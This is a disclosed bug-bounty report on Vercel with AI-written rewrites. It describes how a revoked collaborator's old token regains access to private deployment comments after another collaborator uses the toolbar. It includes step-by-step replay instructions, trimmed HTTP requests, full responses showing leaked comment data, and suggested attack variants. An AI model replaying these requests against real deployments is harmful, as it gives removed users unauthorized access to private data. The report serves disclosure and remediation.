Skip to content
Access control Disclosed report Intermediate

Revoked deployment collaborator regains access to private comments after active collaborator interaction

A revoked deployment collaborator's old authorization token started working again after an active collaborator interacted with the deployment toolbar. The revoked user could then read private comment threads and collaboration data, and reportedly interact with the deployment as if still invited.

qub Follow with zig_shark

Originally disclosed on HackerOne

Bounty$1,026 Medium 4.8 View original
  • Fixed in 3 months
  • Paid in 3 months
  • Disclosed after 4 months

Summary

A revoked deployment collaborator can regain access to private collaboration data after another active collaborator interacts with the deployment toolbar.

After a collaborator is revoked, their previously issued authorization token becomes invalid and requests correctly return 403 Forbidden.

However, when an active collaborator performs a normal toolbar interaction, the previously revoked token becomes authorized again. The revoked user can then use the same token to access the Replicache synchronization endpoint and retrieve private deployment collaboration data, including comment threads and messages.

The revoked user is not re-invited and no new authorization is granted.

Steps to Reproduce

  1. Create a Vercel account and create a deployment.
  2. Invite COLLABORATOR A.
  3. Access the deployment as COLLABORATOR A and before interacting turn your proxy ON

and on the deployment page, click on the small ICON ON RIGH to interact with the deploy, send a comment, while you are capturing the requests 4. Go to your proxy and filter for /api/replicache/pull?docID, you will find a similar request bellow:

POST /api/replicache/pull?docID=live_mode_1@prj_Eimqu7kqIMhfOGdw5vYFaDEpSahL@dpl_8ibZZUZ4hjoK9sTZxL44EKeP5wWB HTTP/1.1
Host: vercel.live
Connection: keep-alive
Content-Length: 178
sec-ch-ua-platform: "Windows"
authorization: ████████
x-replicache-requestid: ab7ebaa4-f2c3-4827-a4b2-7fcc8bf0e616-ccacffbe-0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"
content-type: application/json
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://vercel.live
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Sec-Fetch-Storage-Access: active
Referer: https://vercel.live/_next-live/feedback/feedback.html?dpl=dpl_As2srzacGYF1FM8XR4FJTCFVygCR
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: vercel-experiment-uuid=aKltzhrcsZEI01gELYN0J; vercel-feature-flags=eyJhbGciOiJIUzI1NiJ9.eyJicmFuY2hTd2l0Y2hlciI6dHJ1ZSwiYWNjZXNzaWJpbGl0eUF1ZGl0QXV0b1J1biI6dHJ1ZSwiZGlzdHJpYnV0ZWRUcmFjaW5nIjp0cnVlLCJ2MEFwcCI6dHJ1ZSwidjBUaXAiOnRydWUsIm9wZW5JblYwIjp0cnVlLCJ0b29sYmFyRGVidWdNb2RlIjp0cnVlLCJleHAiOjE3ODM0NjU2NTZ9.fmcnc2QG9gRRBR7zZ9LYAb3UNC0yRD-30HKCecQuLlc

{"profileID":"p288938aa6057418f84ca8dc70f06f34d","clientID":"ab7ebaa4-f2c3-4827-a4b2-7fcc8bf0e616","cookie":{"version":56},"lastMutationID":13,"pullVersion":0,"schemaVersion":""}

Remove all the unnecessar headers and body params, the request must be like bellow at the end, the value of param cookie you have to set it to 1 (One):

POST /api/replicache/pull?docID=live_mode_1@prj_xcUQNkVarBAI1icuIfJI465i0UuR@dpl_31W3G8TZmu81RdPJJubhDrMEWoE1 HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: ████████
content-type: application/json

{"profileID":"","clientID":"","cookie":{"version":1}}

The response of this request contains all the comments

Note: Turn OFF your proxy

  1. Now revoke the COLLABORATOR A and invite the COLLABORATOR B
  2. Access the page of deployment as COLLABORATOR A, observe that this collaborator has no access to interact using toolbar
  3. Replay the customized request we made on step 3 as collaborator A, observe that it returns 403
POST /api/replicache/pull?docID=live_mode_1@prj_xcUQNkVarBAI1icuIfJI465i0UuR@dpl_31W3G8TZmu81RdPJJubhDrMEWoE1 HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: ████████
content-type: application/json

{"profileID":"","clientID":"","cookie":{"version":50}}

Response:

JSON
HTTP/1.1 403 Forbidden
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: *
Cache-Control: no-store
Content-Length: 103
Content-Type: application/json; charset=utf-8
Date: Thu, 09 Jul 2026 04:17:56 GMT
Etag: "jbk8mtdrfm2v"
Server: Vercel
Strict-Transport-Security: max-age=63072000
X-Matched-Path: /api/replicache/pull
X-Robots-Tag: noindex
X-Vercel-Cache: MISS
X-Vercel-Id: cpt1::sfo1::fdwhc-1783570675940-81e073948471

{
    "error": {
        "message": "Not authorized.",
        "code": "unauthorized",
        "statusCode": 403,
        "extras": {},
        "isRaw": true
    }
}
  1. Now as a new active invited collaborator (COLLABORATOR B), interact with the page, click on toolbar icon on righ and comment anything, for POC pourposes we will be commenting "ANYTHING".
  2. Now Replay again the customized request we made on step 3 as collaborator A, observe now it returns 200 OK, containing all messages:

The request must be this modified, body and headers (replace with your docId and authorization header that bellongs to the revoked collaborator)

POST /api/replicache/pull?docID=live_mode_1@prj_xcUQNkVarBAI1icuIfJI465i0UuR@dpl_31W3G8TZmu81RdPJJubhDrMEWoE1 HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: ████████
content-type: application/json

{"profileID":"","clientID":"","cookie":{"version":50}}

Response:

JSON
HTTP/1.1 200 OK
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: *
Cache-Control: no-store
Content-Length: 5320
Content-Type: application/json; charset=utf-8
Date: Thu, 09 Jul 2026 04:33:15 GMT
Etag: "4eaiav2d2743s"
Server: Vercel
Strict-Transport-Security: max-age=63072000
X-Feedback-Rep-Cookie: {"version":12}
X-Matched-Path: /api/replicache/pull
X-Robots-Tag: noindex
X-Vercel-Cache: MISS
X-Vercel-Id: cpt1::sfo1::cjdrf-1783571595692-1dc82f208b78

{
    "lastMutationID": 2,
    "cookie": {
        "version": 12
    },
    "patch": [{
        "op": "put",
        "key": "user-CzT5kf0A2FbUEgY7Q9RKktSG",
        "value": {
            "id": "CzT5kf0A2FbUEgY7Q9RKktSG",
            "name": "kellyblue-name",
            "color": "#50e3c2",
            "avatar": "https://vercel.com/api/www/avatar/?u=kellybluevercel&s=64",
            "username": "kellybluevercel",
            "isExternal": true,
            "notificationPreference": "normal"
        }
    }, {
        "op": "put",
        "key": "user-27sKiDzCe4w6wQKECRwrxkfv",
        "value": {
            "id": "27sKiDzCe4w6wQKECRwrxkfv",
            "name": "kellybluepoc-2381",
            "color": "#ff0080",
            "avatar": "https://vercel.com/api/www/avatar/?u=kellybluepoc-2381&s=64",
            "username": "kellybluepoc-2381",
            "isExternal": true,
            "notificationPreference": "normal"
        }
    }, {
        "op": "put",
        "key": "state",
        "value": {
            "userCount": 2,
            "lastUsedShortId": 2
        }
    }, {
        "op": "put",
        "key": "commentThread-CfAhsOLgxuV2",
        "value": {
            "x": 0.265,
            "y": 0.418,
            "id": "CfAhsOLgxuV2",
            "page": "/",
            "nodeId": "body",
            "shortId": 1,
            "subject": "[team3project] TEST IDOR",
            "comments": [{
                "id": "OX7-HQLwVCs7PfSPI4WhE",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "TEST IDOR"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "TEST IDOR",
                "images": [],
                "userId": "27sKiDzCe4w6wQKECRwrxkfv",
                "pending": false,
                "timestamp": 1783490810371,
                "deployment": {
                    "id": "dpl_31W3G8TZmu81RdPJJubhDrMEWoE1",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "mentionedUsers": [],
                "writeConfirmed": true,
                "leftOnLocalhost": false
            }, {
                "id": "maHqzhjWBzaJ1QJ4K0wG6",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "TEST-IDOR"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "TEST-IDOR",
                "images": [],
                "userId": "27sKiDzCe4w6wQKECRwrxkfv",
                "pending": false,
                "timestamp": 1783490836443,
                "deployment": {
                    "id": "dpl_31W3G8TZmu81RdPJJubhDrMEWoE1",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "mentionedUsers": [],
                "writeConfirmed": true,
                "leftOnLocalhost": false
            }, {
                "id": "n79vcY4Wfa8dj-S00bQqK",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "IDOR-MAN"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "IDOR-MAN",
                "images": [],
                "userId": "27sKiDzCe4w6wQKECRwrxkfv",
                "pending": false,
                "timestamp": 1783490869806,
                "deployment": {
                    "id": "dpl_31W3G8TZmu81RdPJJubhDrMEWoE1",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "mentionedUsers": [],
                "writeConfirmed": true,
                "leftOnLocalhost": false
            }, {
                "id": "8BhIBAvogJD9Sv5fvy0TL",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "IDOR-MAN"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "IDOR-MAN",
                "images": [],
                "userId": "27sKiDzCe4w6wQKECRwrxkfv",
                "pending": false,
                "timestamp": 1783490915508,
                "deployment": {
                    "id": "dpl_31W3G8TZmu81RdPJJubhDrMEWoE1",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "mentionedUsers": [],
                "writeConfirmed": true,
                "leftOnLocalhost": false
            }, {
                "id": "ZLUbWzg5hVBmlEzKdxnZD",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "OLA-OLA-OLA"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "OLA-OLA-OLA",
                "images": [],
                "userId": "CzT5kf0A2FbUEgY7Q9RKktSG",
                "pending": false,
                "timestamp": 1783492038057,
                "deployment": {
                    "id": "dpl_31W3G8TZmu81RdPJJubhDrMEWoE1",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "mentionedUsers": [],
                "writeConfirmed": true,
                "leftOnLocalhost": false
            }],
            "resolved": false,
            "draftMode": false,
            "pageTitle": "",
            "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36",
            "screenWidth": 758,
            "screenHeight": 426,
            "deploymentUrl": "team3project-qm9utqnk5-team3-d4677e0d.vercel.app",
            "followingUsers": ["27sKiDzCe4w6wQKECRwrxkfv", "CzT5kf0A2FbUEgY7Q9RKktSG"],
            "hasReadUserMap": {
                "CzT5kf0A2FbUEgY7Q9RKktSG": true
            },
            "devicePixelRatio": 1.25,
            "frameworkContext": "Could not find React fiber for this element. This may not be a React application or the element is not rendered by React.",
            "emailMessageIdMap": {},
            "lastScreenshotNumber": 0
        }
    }, {
        "op": "put",
        "key": "commentThread-3XWW_kP0-bvs",
        "value": {
            "x": 0.54,
            "y": 0.458,
            "id": "3XWW_kP0-bvs",
            "page": "/",
            "nodeId": "body",
            "shortId": 2,
            "subject": "[team3project] sdffgfghkghjkghjg",
            "comments": [{
                "id": "MOUaroWVIkbq_5YJCaQdg",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "sdffgfghkghjkghjg"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "sdffgfghkghjkghjg",
                "images": [],
                "userId": "CzT5kf0A2FbUEgY7Q9RKktSG",
                "pending": false,
                "timestamp": 1783570691505,
                "deployment": {
                    "id": "dpl_31W3G8TZmu81RdPJJubhDrMEWoE1",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "mentionedUsers": [],
                "writeConfirmed": true,
                "leftOnLocalhost": false
            }, {
                "id": "xAbHy0UPWoZZgbAlhM5cZ",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "jjjj"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "jjjj",
                "images": [],
                "userId": "CzT5kf0A2FbUEgY7Q9RKktSG",
                "pending": false,
                "timestamp": 1783571559805,
                "deployment": {
                    "id": "dpl_31W3G8TZmu81RdPJJubhDrMEWoE1",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "mentionedUsers": [],
                "writeConfirmed": true,
                "leftOnLocalhost": false
            }],
            "resolved": false,
            "draftMode": false,
            "pageTitle": "",
            "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36",
            "screenWidth": 1024,
            "screenHeight": 660,
            "deploymentUrl": "team3project-qm9utqnk5-team3-d4677e0d.vercel.app",
            "followingUsers": ["CzT5kf0A2FbUEgY7Q9RKktSG"],
            "hasReadUserMap": {
                "CzT5kf0A2FbUEgY7Q9RKktSG": true
            },
            "devicePixelRatio": 1.25,
            "frameworkContext": "Could not find React fiber for this element. This may not be a React application or the element is not rendered by React.",
            "lastScreenshotNumber": 0
        }
    }, {
        "op": "put",
        "key": "control/partial-sync",
        "value": "control/PARTIAL_SYNC_DONE"
    }],
    "httpRequestInfo": {
        "httpStatusCode": 200,
        "errorMessage": ""
    }
}

Observe that returns private collaboration data, including:

  • comment threads
  • comment contents
  • deployment information
  • collaborator activity data

Remediation

  • Ensure that revoked collaborator authorization state is checked during every authenticated request.
  • Immediately invalidate all authorization state associated with revoked collaborators.
  • Prevent collaboration synchronization systems from restoring permissions from stale authorization data.
  • Ensure cached membership states are invalidated after collaborator removal.
  • Do not allow revoked tokens to regain access after unrelated collaborator activity.

Attachments/References

  • poc2.mp4 - Poc Video

Impact

A user who has been explicitly removed from a deployment can regain access to private collaboration resources using an already revoked token.

This allows a previously revoked collaborator to:

  • Read private deployment comments.
  • Monitor collaboration activity.
  • Access deployment collaboration state without being re-invited.
  • Besides accessing message he can interact with the deployment like any invited user

The issue breaks the expected security guarantee of collaborator revocation, where removed users should immediately lose access to protected resources.

The original report as published on HackerOne, by qub. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

Vercel deployments can carry a collaboration layer: an in-page toolbar that lets invited collaborators leave comments anchored to elements of the running deployment. The comment data is synchronised through a Replicache endpoint at /api/replicache/pull?docID on vercel.live. Each deployment has its own document identifier, of the form [redacted]@dpl_..., and the client pulls changes from it with an authorization header.

The security expectation is simple: when a collaborator is removed from a deployment, their token stops working and they can no longer read or write collaboration data. The report shows that this expectation breaks after an unrelated event.

Setup

  • A Vercel account and a deployment owned by the researcher.
  • Two collaborator accounts: COLLABORATOR A (later revoked) and COLLABORATOR B (active).
  • An intercepting proxy, used to capture and replay the Replicache pull request.
  • Chrome 149 on Windows, as shown in the captured User-Agent and sec-ch-ua headers.

The researcher captures the pull request while acting as COLLABORATOR A, reduces it to a minimal replayable form, then revokes A and replays that request.

Finding it

After revocation, the previously issued token is correctly rejected: the same request returns 403 Forbidden. That is the expected behaviour and it is what makes the later result interesting. When an active collaborator (COLLABORATOR B) performs a normal toolbar interaction, such as opening the toolbar and posting a comment, the revoked token becomes authorised again. Replaying the identical request with A's old token then returns 200 OK with the full private collaboration state.

The revoked user is never re-invited and no new authorisation is granted to them. The only trigger is activity by someone else.

Exploitation

Step 1: create the deployment and invite COLLABORATOR A

Create a Vercel account, create a deployment, and invite COLLABORATOR A to it.

Step 2: capture the pull request as COLLABORATOR A

Access the deployment as COLLABORATOR A with the proxy on. On the deployment page, click the small icon on the right to open the toolbar and send a comment while capturing traffic. Filter the proxy history for /api/replicache/pull?docID. A request like the following appears:

HTTP
POST /api/replicache/pull?docID=live_mode_1@[redacted]@[redacted] HTTP/1.1
Host: vercel.live
Connection: keep-alive
Content-Length: 178
sec-ch-ua-platform: "Windows"
authorization: ████████
x-replicache-requestid: ab7ebaa4-f2c3-4827-a4b2-7fcc8bf0e616-ccacffbe-0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[redacted] Safari/537.36
sec-ch-ua: "Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"
content-type: application/json
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://vercel.live
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Sec-Fetch-Storage-Access: active
Referer: https://vercel.live/_next-live/feedback/feedback.html?dpl=[redacted]
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: vercel-experiment-uuid=[redacted]; vercel-feature-flags=[redacted]

{"profileID":"[redacted]","clientID":"ab7ebaa4-f2c3-4827-a4b2-7fcc8bf0e616","cookie":{"version":56},"lastMutationID":13,"pullVersion":0,"schemaVersion":""}

The docID query parameter identifies the collaboration document for this deployment. The authorization header carries the collaborator's token. The JSON body is the Replicache pull protocol: clientID identifies the client, cookie.version is the sync cursor, and lastMutationID tracks the client's own mutations.

Step 3: reduce the request to a minimal replay

Remove the unnecessary headers and body parameters. The request ends up as below, with the cookie parameter set to 1:

HTTP
POST /api/replicache/pull?docID=live_mode_1@[redacted]@[redacted] HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: ████████
content-type: application/json

{"profileID":"","clientID":"","cookie":{"version":1}}

The response to this request contains all the comments. The researcher notes to turn the proxy off at this point.

Step 4: revoke A and invite COLLABORATOR B

Revoke COLLABORATOR A and invite COLLABORATOR B to the deployment.

Step 5: confirm A has lost toolbar access

Access the deployment page as COLLABORATOR A. The revoked collaborator can no longer interact through the toolbar.

Step 6: replay as A and observe the 403

Replay the customised request from step 3 as COLLABORATOR A. It returns 403 Forbidden:

HTTP
POST /api/replicache/pull?docID=live_mode_1@[redacted]@[redacted] HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: ████████
content-type: application/json

{"profileID":"","clientID":"","cookie":{"version":50}}
JSON
HTTP/1.1 403 Forbidden
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: *
Cache-Control: no-store
Content-Length: 103
Content-Type: application/json; charset=utf-8
Date: Thu, 09 Jul 2026 04:17:56 GMT
Etag: "jbk8mtdrfm2v"
Server: Vercel
Strict-Transport-Security: max-age=63072000
X-Matched-Path: /api/replicache/pull
X-Robots-Tag: noindex
X-Vercel-Cache: MISS
X-Vercel-Id: cpt1::sfo1::fdwhc-1783570675940-81e073948471

{
    "error": {
        "message": "Not authorized.",
        "code": "unauthorized",
        "statusCode": 403,
        "extras": {},
        "isRaw": true
    }
}

At this point the revocation appears to work as intended.

Step 7: have COLLABORATOR B interact with the toolbar

As the newly invited active collaborator (COLLABORATOR B), interact with the page: click the toolbar icon on the right and comment anything. For proof-of-concept purposes the researcher comments ANYTHING.

Step 8: replay as A again and observe the 200

Replay the same customised request as COLLABORATOR A, using the docID and the authorization header that belong to the revoked collaborator. It now returns 200 OK containing all messages:

HTTP
POST /api/replicache/pull?docID=live_mode_1@[redacted]@[redacted] HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: ████████
content-type: application/json

{"profileID":"","clientID":"","cookie":{"version":50}}
JSON
HTTP/1.1 200 OK
Access-Control-Allow-Headers: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: *
Cache-Control: no-store
Content-Length: 5320
Content-Type: application/json; charset=utf-8
Date: Thu, 09 Jul 2026 04:33:15 GMT
Etag: "4eaiav2d2743s"
Server: Vercel
Strict-Transport-Security: max-age=63072000
X-Feedback-Rep-Cookie: {"version":12}
X-Matched-Path: /api/replicache/pull
X-Robots-Tag: noindex
X-Vercel-Cache: MISS
X-Vercel-Id: cpt1::sfo1::cjdrf-1783571595692-1dc82f208b78

{
    "lastMutationID": 2,
    "cookie": {
        "version": 12
    },
    "patch": [{
        "op": "put",
        "key": "user-CzT5kf0A2FbUEgY7Q9RKktSG",
        "value": {
            "id": "CzT5kf0A2FbUEgY7Q9RKktSG",
            "name": "kellyblue-name",
            "color": "#50e3c2",
            "avatar": "https://vercel.com/api/www/avatar/?u=kellybluevercel&s=64",
            "username": "kellybluevercel",
            "isExternal": true,
            "notificationPreference": "normal"
        }
    }, {
        "op": "put",
        "key": "user-27sKiDzCe4w6wQKECRwrxkfv",
        "value": {
            "id": "27sKiDzCe4w6wQKECRwrxkfv",
            "name": "kellybluepoc-2381",
            "color": "#ff0080",
            "avatar": "https://vercel.com/api/www/avatar/?u=kellybluepoc-2381&s=64",
            "username": "kellybluepoc-2381",
            "isExternal": true,
            "notificationPreference": "normal"
        }
    }, {
        "op": "put",
        "key": "state",
        "value": {
            "userCount": 2,
            "lastUsedShortId": 2
        }
    }, {
        "op": "put",
        "key": "commentThread-CfAhsOLgxuV2",
        "value": {
            "x": 0.265,
            "y": 0.418,
            "id": "CfAhsOLgxuV2",
            "page": "/",
            "nodeId": "body",
            "shortId": 1,
            "subject": "[team3project] TEST IDOR",
            "comments": [{
                "id": "OX7-HQLwVCs7PfSPI4WhE",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "TEST IDOR"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "TEST IDOR",
                "images": [],
                "userId": "27sKiDzCe4w6wQKECRwrxkfv",
                "pending": false,
                "timestamp": 1783490810371,
                "deployment": {
                    "id": "[redacted]",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "mentionedUsers": [],
                "writeConfirmed": true,
                "leftOnLocalhost": false
            }, {
                "id": "maHqzhjWBzaJ1QJ4K0wG6",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "TEST-IDOR"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "TEST-IDOR",
                "images": [],
                "userId": "27sKiDzCe4w6wQKECRwrxkfv",
                "pending": false,
                "timestamp": 1783490836443,
                "deployment": {
                    "id": "[redacted]",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "mentionedUsers": [],
                "writeConfirmed": true,
                "leftOnLocalhost": false
            }, {
                "id": "n79vcY4Wfa8dj-S00bQqK",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "IDOR-MAN"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "IDOR-MAN",
                "images": [],
                "userId": "27sKiDzCe4w6wQKECRwrxkfv",
                "pending": false,
                "timestamp": 1783490869806,
                "deployment": {
                    "id": "[redacted]",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "mentionedUsers": [],
                "writeConfirmed": true,
                "leftOnLocalhost": false
            }, {
                "id": "8BhIBAvogJD9Sv5fvy0TL",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "IDOR-MAN"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "IDOR-MAN",
                "images": [],
                "userId": "27sKiDzCe4w6wQKECRwrxkfv",
                "pending": false,
                "timestamp": 1783490915508,
                "deployment": {
                    "id": "[redacted]",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "mentionedUsers": [],
                "writeConfirmed": true,
                "leftOnLocalhost": false
            }, {
                "id": "ZLUbWzg5hVBmlEzKdxnZD",
                "body": [{
                    "type": "paragraph",
                    "children": [{
                        "text": "OLA-OLA-OLA"
                    }]
                }],
                "href": "https://team3project-gilt.vercel.app/",
                "text": "OLA-OLA-OLA",
                "images": [],
                "userId": "CzT5kf0A2FbUEgY7Q9RKktSG",
                "pending": false,
                "timestamp": 1783492038057,
                "deployment": {
                    "id": "[redacted]",
                    "ts": 1783490319770,
                    "author": "httpsevilcom"
                },
                "menti

The patch contains the full collaboration state: user records, a state record with userCount and lastUsedShortId, and two commentThread-* records. Each thread carries its anchor coordinates, page, node, subject, and an array of comments with text, author userId, timestamp, and deployment metadata. The response also includes followingUsers, hasReadUserMap and screen dimensions, which is the collaborator activity data the researcher refers to. The final control/partial-sync entry marks the end of the partial sync.

The researcher summarises the leaked data as comment threads, comment contents, deployment information and collaborator activity data.

Root cause

The report's weakness classification is "Access Control Check Implemented After Asset is Accessed". The behaviour could be consistent with the pull endpoint resolving the collaboration document and its membership state before, or independently of, validating the caller's current authorisation. When an active collaborator interacts with the toolbar, the revoked collaborator's token is accepted again, which suggests the synchronisation system refreshes or restores the document's membership state. The revocation itself is not durable: the token was rejected, then accepted once someone else's activity occurred.

Likely contributing factors, based on the observed behaviour: cached membership state that is not invalidated on removal, and a synchronisation layer that restores permissions from data that does not record the revocation. The report does not describe the server-side implementation, so the precise mechanism is inferred from the request and response sequence.

Impact

A user who has been explicitly removed from a deployment can regain access to private collaboration resources using an already revoked token. This lets a previously revoked collaborator:

  • Read private deployment comments.
  • Monitor collaboration activity.
  • Access deployment collaboration state without being re-invited.
  • Besides accessing messages, interact with the deployment like any invited user.

The issue breaks the expected security guarantee of collaborator revocation, where removed users should immediately lose access to protected resources. The observed precondition is that some active collaborator interacts with the deployment toolbar after the revocation.

Fix

The report lists remediation steps rather than a shipped patch:

  • Ensure that revoked collaborator authorisation state is checked during every authenticated request.
  • Immediately invalidate all authorisation state associated with revoked collaborators.
  • Prevent collaboration synchronisation systems from restoring permissions from stale authorisation data.
  • Ensure cached membership states are invalidated after collaborator removal.
  • Do not allow revoked tokens to regain access after unrelated collaborator activity.

Variants to test

  1. Other synchronisation endpoints. Look for pull or push endpoints on the same collaboration service (for example a push counterpart to /api/replicache/pull) and replay a revoked token against them after an active collaborator interacts. A positive result is a 200 with mutation data or an accepted write.
  2. Write access after revocation. The report states the revoked user can interact with the deployment like an invited user. Try submitting a comment or mutation with the revoked token after the trigger and check whether it is persisted and visible to active collaborators.
  3. Different trigger events. Instead of a comment, try other toolbar interactions by an active collaborator (opening the toolbar, resolving a thread, changing presence) and replay the revoked token afterwards. A positive result is the same transition from 403 to 200.
  4. Timing of the window. Measure how long the revoked token stays accepted after the trigger and whether repeated activity keeps extending it. A positive result is a persistent or renewable window rather than a single request.
  5. Role changes other than removal. Downgrade a collaborator instead of revoking them, then trigger activity from an active collaborator and replay the old token. A positive result is access at the previous, higher privilege level.
  6. Cross-deployment document identifiers. Check whether a token from one deployment's document is accepted against another document after a trigger. A positive result is data from a document the token was never issued for.
  7. Stale cursors. Replay with older cookie.version values, as the researcher did with 1 and 50, after the trigger. A positive result is a full patch returned for a cursor the client should no longer be entitled to use.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

Vercel is a service that hosts websites and web apps. Every time you publish a version of a site there, that version is called a deployment. Vercel lets you invite other people to a deployment as collaborators, so they can look at it and talk about it with you.

The talking happens through a small toolbar: a little icon on the right side of the page that opens a panel where collaborators can leave comments pinned to parts of the page. Think of it like sticky notes on a shared document. The comments are stored and synchronised through a web endpoint at /api/replicache/pull?docID on vercel.live.

An endpoint is simply a specific address on a server that a program can send a request to, the way a specific counter in a shop handles one kind of transaction. Replicache is a library that keeps a copy of shared data in the browser and asks the server for changes; the pull endpoint is the one that hands out those changes.

Each deployment has its own identifier for its collaboration data, written like [redacted]@dpl_.... The browser sends an authorization header with each request. A header is a small labelled line of extra information attached to a web request, and the authorization header is where the browser puts the collaborator's token, a long secret string that proves who they are. Think of the token as a cloakroom ticket: whoever holds it can collect the coat.

The security promise is simple: when you remove a collaborator, their ticket stops working. They should no longer be able to read or write the comments. This report shows that the promise breaks after an unrelated event: another collaborator doing something normal in the toolbar.

Setting up the test

The researcher needed a few things before starting:

  • A Vercel account and a deployment they owned, so they could invite and remove people freely.
  • Two collaborator accounts: COLLABORATOR A, who would later be removed, and COLLABORATOR B, who would stay active.
  • An intercepting proxy, a tool that sits between the browser and the internet and records every request and response. It also lets you edit a recorded request and send it again, which is called replaying it. Think of it as a tape recorder for web traffic that can also play a tape back with small edits.
  • Chrome 149 on Windows, as the captured User-Agent and sec-ch-ua headers show. A User-Agent is a line the browser sends to say which browser and operating system it is.

The plan: capture the request that fetches comments while logged in as A, trim it down to something easy to replay, then remove A and watch what that same request does over time.

Finding the problem

After A is removed, the old token is correctly rejected: the same request comes back with 403 Forbidden. A status code is a three-digit number the server sends to summarise the result; 200 means success, 403 means "I know who you are, but you are not allowed". That rejection is the expected behaviour, and it is exactly what makes the next part interesting.

When an active collaborator, B, does something ordinary in the toolbar, such as opening it and posting a comment, the removed user's old token starts working again. Replaying the identical request with A's old token then returns 200 OK with the full private collaboration state.

A is never re-invited, and nobody grants A new permission. The only trigger is activity by someone else.

Exploitation

Step 1: create the deployment and invite COLLABORATOR A

Create a Vercel account, create a deployment, and invite COLLABORATOR A to it. This gives A a legitimate token in the first place, which is what the researcher wants to capture and later reuse.

Step 2: capture the pull request as COLLABORATOR A

Open the deployment as COLLABORATOR A with the proxy switched on. On the deployment page, click the small icon on the right to open the toolbar and send a comment while the proxy is recording. Then filter the proxy history for /api/replicache/pull?docID. A request like the following appears:

HTTP
POST /api/replicache/pull?docID=live_mode_1@[redacted]@[redacted] HTTP/1.1
Host: vercel.live
Connection: keep-alive
Content-Length: 178
sec-ch-ua-platform: "Windows"
authorization: ████████
x-replicache-requestid: ab7ebaa4-f2c3-4827-a4b2-7fcc8bf0e616-ccacffbe-0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[redacted] Safari/537.36
sec-ch-ua: "Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"
content-type: application/json
